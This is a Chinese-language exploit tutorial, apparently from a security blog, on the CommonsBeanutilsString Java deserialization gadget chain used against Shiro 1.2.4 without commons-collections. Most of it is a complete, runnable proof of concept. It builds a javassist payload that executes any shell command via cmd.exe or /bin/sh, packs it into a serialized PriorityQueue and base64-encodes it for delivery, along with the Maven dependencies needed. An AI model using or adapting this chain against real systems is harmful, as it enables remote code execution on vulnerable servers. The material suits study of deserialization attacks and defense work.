Java反序列化利用链之CommonsBeanutilsString
CommonsBeanutilsString
在shiro 1.2.4
中是默认存在一个CommonsBeanutils 1.8.3
的依赖的,所以打shiro
反序列化时可以尝试使用CommonsBeanutilsString
打,也就是不依赖cc
的链子。
为什么CommonsBeanutils1
不行呢?
1
2
// CommonsBeanutils1
final BeanComparator comparator = new BeanComparator();
回到BeanComparator
的构造方法中可以看到当我们使用CommonsBeanutils1
的Poc
时,创建BeanComparator
使用的是
BeanComparator(String property)
的构造方法,在该方法中其实是使用了commons-collections
这个依赖的。
所以当我们不存在commons-collections
依赖时CommonsBeanutils1
这条链子就不能正常走通了。
1
2
3
4
5
6
7
8
9
10
Exception in thread "main" java.lang.NoClassDefFoundError: org/apache/commons/collections/comparators/ComparableComparator
at org.apache.commons.beanutils.BeanComparator.<init>(BeanComparator.java:81)
at org.apache.commons.beanutils.BeanComparator.<init>(BeanComparator.java:59)
at org.example.cb1.CB1Poc.main(CB1Poc.java:52)
Caused by: java.lang.ClassNotFoundException: org.apache.commons.collections.comparators.ComparableComparator
at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:355)
at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
... 3 more
但是我们可以看到下方还存在一个BeanComparator
的构造方法:
而且当我们指定comparator
后就可以不使用ComparableComparator
从而绕过cc
依赖的限制。
那么我们需要去找一个类进行替换,满足以下条件
- 实现
Serializable
接口 - 实现
Comparator
接口 Java
或者commons beanutils
中自带
这里的话找到了Java.lang.String
下的CaseInsensitiveComparator
这个内部类,他满足了上面的条件,代码如下
String
类还有一个静态成员变量CASE_INSENSITIVE_ORDER
是CaseInsensitiveComparator
对象,那我们可以直接拿来用,只需把之前的POC的new的那行代码进行更改,传入两个参数让他去调用俩参数的构造方法即可,但是这里直接运行会报错java.lang.Integer cannot be cast to java.lang.String
,我们只需要把queue.add
添加的东西变为字符串即可,就变成了:
1
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
pom.xml
文件依赖:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>JavaDeserialization</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.1.GA</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
</dependencies>
</project>
最终Poc
如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package org.example.cbstring;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.example.util.Tools;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class CBStringPoc {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static CtClass genPayload(String cmd) throws NotFoundException, CannotCompileException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("Exp");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public Exp() throws Exception {\n" +
" try {\n" +
" String tc = \"" + cmd + "\";\n" +
" String[] cmd = System.getProperty(\"os.name\").toLowerCase().contains(\"windows\") " +
" ? new String[]{\"cmd.exe\", \"/c\", tc} : new String[]{\"/bin/sh\", \"-c\", tc};" +
" new ProcessBuilder(cmd).start();" +
" } catch (Exception e) {\n" +
" e.getStackTrace();\n" +
" }\n" +
" }", clazz));
// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}
public static String base64Encode(byte[] bytes) {
Base64.Encoder encoder = Base64.getEncoder();
return encoder.encodeToString(bytes);
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{genPayload("calc").toBytecode()});
setFieldValue(obj, "_name", "Hello");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//CommonsBeanutilsString
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
byte[] se = serialize(queue);
System.out.println(base64Encode(se));
Tools.deserialize(se);
}
}